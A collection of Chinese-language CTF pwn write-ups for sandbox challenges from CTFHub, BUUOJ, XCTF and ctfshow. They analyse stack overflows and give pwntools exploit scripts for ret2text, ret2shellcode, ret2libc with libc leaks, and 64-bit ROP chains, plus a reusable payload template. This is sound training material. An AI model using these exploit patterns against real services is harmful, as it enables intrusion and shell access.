https://github.com/Don2025/CTFwriteUp
目录
先file ./ret2text
查看文件类型再checksec --file=./ret2text
检查一下文件保护情况。
用IDA Pro 64bit
打开附件ret2text
,按F5
反汇编源码并查看主函数,发现gets()
函数读取输入到变量v4
中,v4
的长度只有0x70
,即可用栈大小只有112
字节,但是gets()
函数并没有限制输入,显然存在栈溢出漏洞。
双击v4
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0x70
个字节占满s
变量,然后再加上r
的8
个字节。
在Function Window
中注意到有一个名为secure()
的函数,函数中当scanf()
输入的v2
变量和rand()
函数生成的v3
变量值相等时,会发生系统调用,因此构造payload
时需要再加上system('/bin/sh')
函数的地址即可。
编写Python
代码即可得到ctfhub{f878895b3600b2e2192e5c9a}
。
from pwn import *
io = remote('challenge-e20ddfc12b209019.sandbox.ctfhub.com', 34749)
payload = b'a'*0x70 + b'fuckpwn!' + p64(0x4007B8)
io.sendlineafter('Welcome to CTFHub ret2text.Input someting:\n', payload)
io.interactive()
提交ctfhub{f878895b3600b2e2192e5c9a}
即可。
先file ./ret2shellcode
查看文件类型再checksec --file=./ret2shellcode
检查一下文件保护情况。
用IDA Pro 64bit
打开附件ret2shellcode
,按F5
反汇编源码并查看主函数,发现buf
变量的地址被printf()
函数输出了,然后read()
函数读取输入到变量buf
中,char
型变量buf
的长度只有0x10
,即可用栈大小只有10
字节,但是read()
函数限制输入0x400
个字节,显然存在栈溢出漏洞。
双击buf
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0x10
个字节占满s
变量,然后再加上r
的8
个字节。
由于checksec
时发现NX disabled
,即程序没有开NX
保护,栈的数据段可以执行。虽然程序中并没有system()
函数和/bin/sh
,但是buf
变量的栈地址被printf()
函数泄露出来了,因此可以尝试让程序跳转到我们构造的shellcode
中,并在栈溢出后返回到栈的数据段上执行,就能得到shell
权限了。
from pwn import *
context(os="linux", arch="amd64", log_level='debug')
# io = process('ret2shellcode')
io = remote('challenge-90f37d9c89a2800a.sandbox.ctfhub.com', 33884)
io.recvuntil(b'[')
buf_address = int(io.recvuntil(b']')[:-1].decode('utf-8'), 16)
log.success('buf_address => %s' % hex(buf_address).upper())
shellcode_address = buf_address+0x20 # buf与rbp的距离0x10 + rbp的宽度0x8 + 返回地址的长度0x8
log.success('buf_address => %s' % hex(shellcode_address).upper())
shellcode = asm(shellcraft.sh())
payload = b'a'*0x10 + b'fuckpwn!' + p64(shellcode_address) + shellcode
io.recv()
io.sendline(payload)
io.interactive()
ls
可以看到有个flag
文件,cat flag
拿到ctfhub{f878895b3600b2e2192e5c9a}
提交即可。
这题亏我还先file ./test
查看文件类型再checksec --file=test
检查一下文件保护情况。
结果输入以下代码就能拿到flag{24c4fb91-44b7-4a4f-8f30-895875efacd7}
。
nc node4.buuoj.cn 27841 #使用nc连接node4.buuoj.cn的监听端口27841
ls #这步可以看到当前目录下有个flag文件
cat flag #直接输出flag即可
先file ./pwn1
查看文件类型再checksec --file=pwn1
检查一下文件保护情况。
用IDA Pro 64bit
打开pwn1
后按F5
反汇编源码并查看主函数,发现gets()
函数读取输入到变量s
中,s
的长度只有0xf
,即可用栈大小只有15
字节,但是gets()
函数并没有限制输入,显然存在栈溢出漏洞。
在Functions window
可以看到有一个fun()
函数:
按F5
反汇编可以看到这是一个系统调用,且fun()
函数的起始地址为0x401186
。
编写Python
脚本连接node4.buuoj.cn
的监听端口28531
,并发送payload
:
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 28531)
payload = b'a'*(0xf + 0x8) + p64(0x40118A)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互
与shell
交互时输入以下命令行即可得到flag{c706d420-68bf-4b75-9468-97997d4817b6}
。
ls #这步可以看到当前目录下有个flag文件
cat flag #直接输出flag即可
先file ./warmup_csaw_2016
查看文件类型再checksec --file=warmup_csaw_2016
检查一下文件保护情况。
用IDA Pro 64bit
打开warmup_csaw_2016
后按F5
反汇编源码并查看主函数,发现gets()
函数读取输入到变量v5
中,v5
的长度只有0x40
,即可用栈大小只有64
字节,但是gets()
函数并没有限制输入,显然存在栈溢出漏洞。
在Functions window
可以看到有一个sub_40060D()
函数,按F5
反汇编可以看到这是一个系统调用,且sub_40060D()
函数的起始地址为0x40060D
。
编写Python
脚本连接node4.buuoj.cn
的监听端口25282
,发送payload
即可得到flag{31eb59d1-1c21-4440-96a5-b12276f75a41}
。
from pwn import *
io = remote('node4.buuoj.cn', 25282)
payload = b'a'*(0x40 + 0x8) + p64(0x40060D)
io.sendline(payload)
io.interactive()
先file ./ciscn_2019_n_1
查看文件类型再checksec --file=ciscn_2019_n_1
检查一下文件保护情况。
用IDA Pro 64bit
打开ciscn_2019_n_1
后按F5
反汇编源码并查看主函数,发现fun()
函数最可疑。
双击func()
函数查看源码可以看到当v2 = 11.28125
时会有一个系统调用。
查看汇编代码双击cs:dword_4007F4
可以看到11.28125
在内存中的16
进制表示为0x41348000
。
查看栈结构,此处var_30
是v1
,而var_4
是v2
,需要(0x30-0x04)=44
个字节就能让栈溢出,最后再填入11.28125
对应的十六进制数0x41348000
。
编写Python
脚本连接node4.buuoj.cn
的监听端口25860
,发送payload
即可得到flag{42086316-01d7-47ee-bfaa-00861bbe8222}
。
from pwn import *
io = remote('node4.buuoj.cn', 25860)
payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
io.sendline(payload)
io.interactive()
先file ./pwn1_sctf_2016
查看文件类型再checksec --file=pwn1_sctf_2016
检查一下文件保护情况。
用IDA Pro 32bit
打开pwn1_sctf_2016
后按F5
反汇编源码并查看主函数,发现vuln()
函数。
双击vuln()
函数查看源码,分析后发现fgets()
函数限制输入32
个字节到变量s
中,乍一看并没有超出可用栈大小。
再按一次F5
后发现第19
行的replace()
函数会把输入的I
替换成you
,1个字符变成3个字符。 并且在第27
行会对原来的s
变量重新赋值。
在Functions window
可以看到有一个get_flag()
函数,按F5
反汇编可以看到这是一个系统调用,且get_flag()
函数的起始地址为0x8048F0D
。
查看栈结构发现s
的长度为0x3c
,即60
个字节,而输入被限制在32
个字节内,每个I
可以被替换成you
,所以输入60÷3=20
个I
就能让栈溢出,然后db 4 dup(?)
还需要占用4
个字节的内存,最后加上get_flag()
函数的起始地址0x8048F0D
构成payload
。
编写Python
脚本连接node4.buuoj.cn
的监听端口26333
,发送payload
即可得到flag{efb5872f-b8d0-4892-9ed3-ea71e8a7a983}
。
from pwn import *
io = remote('node4.buuoj.cn', 26333)
e = ELF('pwn1_sctf_2016')
address = e.symbols['get_flag']
log.success('get_flag_address => %s' % hex(address).upper())
payload = b'I'*20 + b'a'*0x4 + p32(address)
# payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D)
io.sendline(payload)
io.interactive()
先file ./level0
查看文件类型再checksec --file=level0
检查一下文件保护情况。
用IDA Pro 64bit
打开level0
后按F5
反汇编源码并查看主函数,发现问题的关键在于vulnerable_function()
函数。
双击vulnerable_function()
函数可以看到buf
的长度只有0x80
,即可用栈大小只有108
字节,但是read()
并没有限制输入,显然存在栈溢出漏洞。
在Functions window
可以看到有一个callsystem()
函数,按F5
反汇编可以看到这是一个系统调用,且callsystem()
函数的起始地址为0x400596
。
编写Python
脚本连接node4.buuoj.cn
的监听端口25719
,buf
需覆盖0x80
个字节覆盖,再加上rbp
的0x8
个字节,最后加上callsystem()
函数的起始地址0x400596
构成payload
。
from pwn import *
io = remote('node4.buuoj.cn', 25719)
e = ELF('level0')
address = e.symbols['callsystem']
log.success('callsystem_address => {}'.format(hex(address).upper()))
payload = b'a'*(0x80 + 0x8) + p64(address)
# payload = b'a'*(0x80 + 0x8) + p64(0x400596)
io.sendline(payload)
io.interactive()
发送payload
监听成功后ls
查看文件目录再cat flag
即可得到flag{af006b52-6eb0-4df4-9706-dcbb4dc8cff2}
。
先file ./get_shell
查看文件类型再checksec --file=get_shell
检查一下文件保护情况。nc
进去ls
后发现可以直接cat flag
,从而得到cyberpeace{307531652bd497aefcfef07598c97cd3}
。
提交flag
后,我还是决定用IDA Pro 64bit
打开附件get_shell
来分析一下,发现该程序输出字符串后直接给定了一个系统调用。
可以按F5
反汇编源码并查看主函数。
编写Python
代码拿到cyberpeace{307531652bd497aefcfef07598c97cd3}
。
from pwn import *
io = remote('111.200.241.244', 59901)
io.interactive()
先file ./hello_pwn
查看文件类型再checksec --file=hello_pwn
检查一下文件保护情况。
用IDA Pro 64bit
打开附件hello_pwn
,按F5
反汇编源码并查看主函数,发现read()
函数很可疑,双击unk_601068
变量查看其在内存中的地址情况。
发现unk_601068
变量和dword_60106C
的偏移量为0x4
,这个数值小于read()
函数的范围限制。
当dword_60106C
的数值等于1853186401
时会调用子函数sub_400686()
,查看详情发现该子函数是系统调用cat flag.txt
。
构造payload
时先用4
个字节占满unk_601068
变量,再用p64()
函数将dword_60106C
的数值赋值为1853186401
,编写Python
代码即可得到cyberpeace{285b4e962d0debee56c43f8f174f2e22}
。
先file ./level0
查看文件类型再checksec --file=level0
一下文件保护情况。
用IDA Pro 64bit
打开附件level0
,按F5
反汇编源码并查看主函数,发现vulnerable()
函数很可疑。
双击vulnerable()
函数查看详情,发现该函数中有个局部变量buf
是char
型数组,buf
的长度只有0x80
,即可用栈大小只有128
字节,但是read()
函数中buf
变量从标准控制台读入了0x200
个字节,显然存在栈溢出漏洞。
双击buf
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0x80
个字节占满buf
变量,然后再加上r
的8
个字节。
在Function Window
中注意到有一个名为callsystem()
的函数,函数返回值直接是系统调用,因此构造payload
时需要再加上这个callsystem()
函数的起始地址0x400596
即可。
编写Python
代码即可得到cyberpeace{abcdc2f34ed094260c9ef32f07e7465b}
。
from pwn import *
io = remote('111.200.241.244', 53710)
e = ELF('level0')
address = e.symbols['callsystem']
log.success('callsystem_address => %s' % hex(address).upper())
payload = b'a'*(0x80) + b'fuckpwn!' + p64(address)
# payload = b'a'*(0x80) + b'fuckpwn!' + p64(0x400596)
io.sendline(payload)
io.interactive()
先file ./level2
查看文件类型再checksec --file=level2
检查了一下文件保护情况。
用IDA Pro 32bit
打开附件level2
,按F5
反汇编源码并查看主函数,发现vulnerable_function()
函数很可疑。
双击vulnerable_function()
函数查看详情,发现该函数中有个局部变量buf
是char
型数组,buf
的长度只有0x88
,即可用栈大小只有136
字节,但是read()
函数中buf
变量从标准控制台读入了0x100
个字节,显然存在栈溢出漏洞。
双击buf
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0x88
个字节占满buf
变量,然后再加上r
的4
个字节。
双击system()
函数查看详情,函数返回值直接是系统调用,因此构造payload
时需要再加上system()
函数的起始地址0x8048320
。
p32()
可以让我们将整数转换为4
字节的小端序格式,system()
函数的参数command
要求dword ptr 4
,所以进入到system()
函数后,还需要构造system()
函数的栈帧,我们可以用0xDEADBEEF
来填充已分配但还未初始化的内存,也可以用p32(0)
来填充四个字节。
最后再加上system()
函数中的参数/bin/sh
的地址即可获得shell
。这里用了ELF
中的search()
函数来获取/bin/sh
的地址。
编写Python
代码即可得到cyberpeace{5f581b52af1ababeb4636a8c9911e25d}
。
from pwn import *
io = remote('111.200.241.244', 53598)
e = ELF('level2')
system_address = e.symbols['system']
log.success('system_address => %s' % hex(system_address).upper())
bin_sh_address = e.search(b'/bin/sh').__next__()
log.success('bin_sh_address => %s' % hex(bin_sh_address).upper())
payload = b'a'*0x88 + b'fuck' + p32(system_address) + p32(0xDEADBEEF) + p32(bin_sh_address)
# payload = b'a'*0x88 + b'fuck' + p32(0x8048320) + p32(0) + p32(0x804A024)
io.sendlineafter(b'Input:\n', payload)
io.interactive()
先file ./stack
查看文件类型再checksec --file=stack
检查一下文件保护情况。
用IDA Pro 32bit
打开附件stack
,按F5
反汇编源码并查看主函数,发现pwnme()
函数很可疑。
双击pwnme()
函数可以看到该函数中有个局部变量s
是char
型数组,s
的长度只有0x9
,即可用栈大小只有9
字节,但是fgets()
函数限制输入50个字节,显然存在栈溢出漏洞。
双击s
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用9
个字节占满s
变量,然后再加上r
的4
个字节。
在Function Window
中注意到有一个名为stack()
的函数,函数返回值直接是系统调用,因此构造payload
时需要再加上这个stack()
函数的起始地址即可。
编写Python
代码即可得到ctfshow{62a18b45-a931-4c43-9a7a-21726633f01e}
。
先file ./pwn05
查看文件类型再checksec --file=pwn05
检查一下文件保护情况。
用IDA Pro 32bit
打开附件pwn05
,按F5
反汇编源码并查看主函数,发现welcome()
函数很可疑。
双击进入welcome()
函数,可以看到该函数中有个局部变量s
是char
型数组,s
的长度只有0x14
,但是gets()
函数并没有限制输入,显然存在栈溢出漏洞。
双击s
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0x14
个字节占满s
变量,然后再加上r
的4
个字节。
在Function Window
中注意到有一个名为getFlag()
的函数,函数返回值直接是系统调用,因此构造payload
时需要再加上这个getFlag()
函数的起始地址即可。
编写Python
代码即可得到ctfshow{ea894e9a-2450-417a-92f3-7ff289ce115e}
。
from pwn import *
io = remote('pwn.challenge.ctf.show', 28182)
e = ELF('pwn05')
address = e.symbols['getFlag']
log.success('getFlag_address => %s' % hex(address).upper())
payload = b'a'*(0x14 + 0x4) + p32(address)
# payload = b'a'*(0x14 + 0x4) + p32(0x8048486)
io.sendline(payload)
io.interactive()
先file ./pwn06
查看文件类型和checksec --file=pwn06
检查一下文件保护情况。
用IDA Pro 64bit
打开附件pwn06
,按F5
反汇编源码并查看主函数,发现welcome()
函数很可疑。
双击进入welcome()
函数,可以看到该函数中有个局部变量s
是char
型数组,s
的长度只有0xc
,但是gets()
函数并没有限制输入,显然存在栈溢出漏洞。
双击s
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0x14
个字节占满s
变量,然后再加上r
的8
个字节。
需要注意的是这题pwn06
就是上一题pwn05
的64
位版本,所以需要加上welcome()
函数的起始地址来平衡堆栈。
在Function Window
中注意到有一个名为getFlag()
的函数,函数返回值直接是系统调用,因此构造payload
时需要再加上这个getFlag()
函数的起始地址即可。
编写Python
代码即可得到ctfshow{384e6120-ef80-45f0-afe9-f64929450397}
。
from pwn import *
io = remote('pwn.challenge.ctf.show', 28194)
e = ELF('pwn06')
welcome_address = e.symbols['welcome']
log.success('welcome_address => %s' % hex(welcome_address).upper())
getFlag_address = e.symbols['getFlag']
log.success('getFlag_address => %s' % hex(getFlag_address).upper())
payload = b'a'*0xc + b'fuckpwn!' + p64(welcome_address) + p64(getFlag_address)
# payload = b'a'*0xc + b'fuckpwn!' + p64(0x40058F) + p64(0x400577)
io.sendline(payload)
io.interactive()
先file ./ret2text
查看文件类型再checksec --file=ret2text
检查了一下文件保护情况。
用IDA Pro 64bit
打开附件ret2text
,按F5
反汇编源码并查看主函数,发现welcome()
函数很可疑。
双击welcome()
函数查看详情,发现该函数中有个局部变量s
是char
型数组,s
的长度只有0x80
,即可用栈大小只有128
字节,但是gets()
函数读取输入到变量s
时并没有限制输入,显然存在栈溢出漏洞。
在Function Window
中注意到有一个名为ctfshow()
的函数,函数返回值直接是系统调用system('/bin/sh')
。
构造payload
时可以先用0x80
个字节占满s
变量,再加上rbp
的8
个字节,然后加上ctfshow()
函数的起始地址即可。然而我第一次编写的Python
代码直接超时啦timeout: the monitored command dumped core
。
from pwn import *
context(os="linux", arch="amd64", log_level='debug')
# io = process('ret2text')
io = remote('pwn.challenge.ctf.show', 28067)
e = ELF('ret2text')
ctfshow_address = e.symbols['ctfshow']
log.success('ctfshow_address => %s' % hex(ctfshow_address).upper())
payload = b'a'*0x80 + b'fuckpwn!' + p64(ctfshow_address)
# payload = b'a'*0x80 + b'fuckpwn!' + p64(0x400637)
io.sendline(payload)
io.interactive()
那payload
就不要加上ctfshow()
函数的起始地址了,直接添加系统调用system('/bin/sh')
的地址0x40063B
。
编写Python
代码即可得到ctfshow{19efd671-89fa-4f27-8898-aaedfea5bb2c}
。
from pwn import *
io = remote('pwn.challenge.ctf.show', 28067)
payload = b'a'*0x80 + b'fuckpwn!' + p64(0x40063B)
io.sendline(payload)
io.interactive()
先file ./pwn03
查看文件类型再checksec --file=pwn03
检查了一下文件保护情况。
用IDA Pro 32bit
打开附件pwn03
,按F5
反汇编源码并查看主函数,发现pwnme()
函数很可疑。
双击pwnme()
函数查看详情,发现该函数中有个局部变量s
是char
型数组,s
的长度只有0x9
,即可用栈大小只有9
字节,但是fgets()
函数读取输入到变量s
时限制输入100
个字节,显然存在栈溢出漏洞。
双击s
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0x9
个字节占满s
变量,然后再加上r
的4
个字节。
在Function Window
中并没有找到system()
函数和'/bin/sh'
字符串,但是主函数中有puts()
函数啊!程序执行前,got
表中存放的还是plt
表的地址,但是程序执行后,plt
表中存放的是got
表的地址,got
表中存放的是函数的真实地址。因此我们可以用ELF
来获取puts()
函数的plt
表和got
表地址,进行栈溢出并通过puts()
函数泄露puts()
函数在got
表中的真实地址后,进而判断libc
的版本,然后我们可以根据libc
版本中puts()
函数的偏移地址来计算出libc
的基址地址,再根据libc
中的system()
函数和'/bin/sh'
字符串的偏移地址来算出函数的真实地址,从而构造shellcode
拿到flag
。
编写Python
代码即可得到ctfshow{c7611c91-203e-47de-ac92-e0f850aa9135}
。
from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug')
# io = process('pwn03')
io = remote('pwn.challenge.ctf.show', 28067)
e = ELF('pwn03')
puts_plt = e.plt['puts']
log.success('puts_plt => %s' % hex(puts_plt))
puts_got = e.got['puts']
log.success('puts_got => %s' % hex(puts_got))
main_address = e.symbols['main']
log.success('main_address => %s' % hex(main_address))
# 先让栈溢出,再利用puts函数的plt表地址来泄露puts函数got表中的真实地址
payload = b'a'*0x9 + b'fuck' + p32(puts_plt) + p32(main_address) + p32(puts_got)
io.sendline(payload)
io.recvuntil('\n\n')
puts_address = u32(io.recv(4)) # 接收4个字节并解包
log.success('puts_address => %s' % hex(puts_address))
libc = LibcSearcher('puts', puts_address) # 获取libc版本,libc6-i386_2.27-3ubuntu1_amd64
libcbase = puts_address - libc.dump('puts') # libc的基址=puts()函数地址-puts()函数偏移地址(0x67360)
log.success('libcbase_address => %s' % hex(libcbase))
system_address = libcbase + libc.dump('system') # system()函数的地址=libc的基址+system()函数偏移地址(0x03cd10)
log.success('system_address => %s' % hex(system_address))
bin_sh_address = libcbase + libc.dump('str_bin_sh') # '/bin/sh'的地址=libc的基址+'/bin/sh'偏移地址(0x17b8cf)
log.success('bin_sh_address => %s' % hex(bin_sh_address))
payload = b'a'*0x9 + b'fuck' + p32(system_address) + p32(0xdeadbeef) + p32(bin_sh_address)
io.sendline(payload)
io.interactive()
先file ./pwn07
查看文件类型再checksec --file=pwn07
检查了一下文件保护情况。
用IDA Pro 64bit
打开附件pwn07
,按F5
反汇编源码并查看主函数,发现welcome()
函数很可疑。
双击welcome()
函数查看详情,发现该函数中有个局部变量s
是char
型数组,s
的长度只有0xc
,即可用栈大小只有12
字节,但是gets()
函数读取输入到变量s
时并没有限制输入,显然存在栈溢出漏洞。
双击s
变量查看其在内存中的虚拟地址信息,构造payload
时可以先用0xc
个字节占满s
变量,然后再加上r
的4
个字节。
有没有发现这题pwn07
和上面的pwn03
很像?没错,这简直就是pwn03
的64
位版本,不过在64
位程序中,函数的前6
个参数是通过寄存器传递的,分别是rdi
, rsi
, rdx
, rcx
, r8
, r9
(当参数小于7
时),所以我们需要用ROPgadget
找到pop_rdi
和pop_ret
的地址。
ROPgadget --binary ./pwn07 --only "pop|ret"
解题思路都是:在Function Window
中并没有找到system()
函数和'/bin/sh'
字符串,但是主函数中有puts()
函数啊!程序执行前,got
表中存放的还是plt
表的地址,但是程序执行后,plt
表中存放的是got
表的地址,got
表中存放的是函数的真实地址。因此我们可以用ELF
来获取puts()
函数的plt
表和got
表地址,进行栈溢出并通过puts()
函数泄露puts()
函数在got
表中的真实地址后,进而判断libc
的版本,然后我们可以根据libc
版本中puts()
函数的偏移地址来计算出libc
的基址地址,再根据libc
中的system()
函数和'/bin/sh'
字符串的偏移地址来算出函数的真实地址,从而构造shellcode
拿到flag
。这种类型的题还是有一定套路的:
e = ELF('pwn')
# 获取32位版本的got表中的xx函数真实地址,再根据libc中xx函数的偏移地址来算出libc的基址地址
payload = b'a'*offset + p32(e.plt['xx']) + p32(ret_address) + p32(e.got['xx'])
# 根据libc的基址地址和偏移地址算出system()和'/bin/sh'的真实地址后,构造32位版本的shellcode
payload = b'a'*offset + p32(system_address) + p32(0) + p32(bin_sh_address) #p32(0xdeadbeef)或p32(0)或b'a'*4
# 获取64位版本的got表中的xx函数真实地址,再根据libc中xx函数的偏移地址来算出libc的基址地址
payload = b'a'*offset + p64(pop_rdi) + p64(e.got['xx']) + p64(e.plt['xx']) + p64(ret_address)
# 根据libc的基址地址和偏移地址算出system()和'/bin/sh'的真实地址后,构造64位版本的shellcode
payload = b'a'*offset + p64(ret_address) + p64(pop_rdi) + p64(bin_sh_address) + p64(system_address)
编写Python
代码即可得到ctfshow{03a97f04-a802-4c2e-a013-b86a120f034f}
。
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
# io = process('pwn07')
io = remote('pwn.challenge.ctf.show', 28199)
e = ELF('pwn07')
puts_plt = e.plt['puts']
log.success('puts_plt => %s' % hex(puts_plt))
puts_got = e.got['puts']
log.success('puts_got => %s' % hex(puts_got))
pop_rdi = 0x4006e3 # ROPgadget --binary ./pwn07 --only "pop|ret"
main_address = e.symbols['main']
log.success('main_address => %s' % hex(main_address))
payload = b'a'*0xc + b'fuckpwn!' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_address)
io.sendline(payload)
io.recvline()
puts_address = io.recv().strip(b'\n')
log.success('io.recv().strip(b\\n\') => %s', puts_address)
puts_address = u64(puts_address.ljust(8, b'\x00')) # 地址只有6bytes, 补到8位才能unpack
log.success('puts_address => %s' % hex(puts_address))
libc = LibcSearcher('puts', puts_address) # 获取libc版本, libc6_2.31-8_amd64
libcbase = puts_address - libc.dump('puts') # libc的基址=puts()函数地址-puts()函数偏移地址
log.success('libcbase_address => %s' % hex(libcbase))
system_address = libcbase + libc.dump('system')
log.success('system_address => %s' % hex(system_address)) # system()函数的地址=libc的基址+system()函数偏移地址
bin_sh_address = libcbase + libc.dump('str_bin_sh') # '/bin/sh'的地址=libc的基址+'/bin/sh'偏移地址
log.success('bin_sh_address => %s' % hex(bin_sh_address))
pop_ret = 0x4004c6 # ROPgadget --binary ./pwn07 --only "pop|ret"
payload = b'a'*0xc + b'fuckpwn!' + p64(pop_ret) + p64(pop_rdi) + p64(bin_sh_address) + p64(system_address)
io.sendline(payload)
io.interactive()